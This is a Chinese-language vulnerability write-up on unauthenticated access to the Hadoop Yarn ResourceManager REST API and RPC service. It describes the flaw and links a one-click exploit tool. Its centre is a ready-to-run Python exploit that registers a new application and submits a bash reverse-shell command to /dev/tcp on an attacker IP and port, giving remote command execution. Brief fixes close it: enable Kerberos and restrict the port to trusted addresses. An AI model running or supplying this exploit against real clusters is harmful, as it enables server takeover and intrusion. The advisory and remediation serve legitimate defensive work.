参考:
Hadoop Yarn RPC未授权访问漏洞
漏洞描述
Hadoop Yarn作为Hadoop核心组件之一,负责将资源分配至各个集群中运行各种应用程序,并调度不同集群节点上的任务执行。近日阿里云应急响应中心监测到 Hadoop Yarn RPC未授权访问漏洞在野利用事件。Hadoop Yarn默认对外开放RPC服务,攻击者可利用RPC服务执行任意命令,控制服务器。同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样,因此即使在 REST API有授权认证的情况下,RPC服务所在端口仍然可以未授权访问。阿里云应急响应中心提醒 Apache Hadoop 用户尽快采取安全措施阻止漏洞攻击。
漏洞复现
通过ResourceManager REST API,可以让用户获取集群的相关信息。存在接口:
/ws/v1/cluster/apps/new-application
/ws/v1/cluster/apps
不推荐一键利用工具:https://github.com/cckuailong/YarnRpcRCE/releases/tag/0.0.1
EXP:Hadoop Yarn.py
import requests
target = 'http://Target:Port/'
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/Your IP/Port 0>&1',
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
- 利用
new-application
接口获取application-id
- 向
apps
接口POST相关反弹shell命令
修复方案:
- 1、Apache Hadoop官方建议用户开启Kerberos认证。
- 2、利用安全组功能,设置 Hadoop RPC服务所在端口仅对可信地址开放。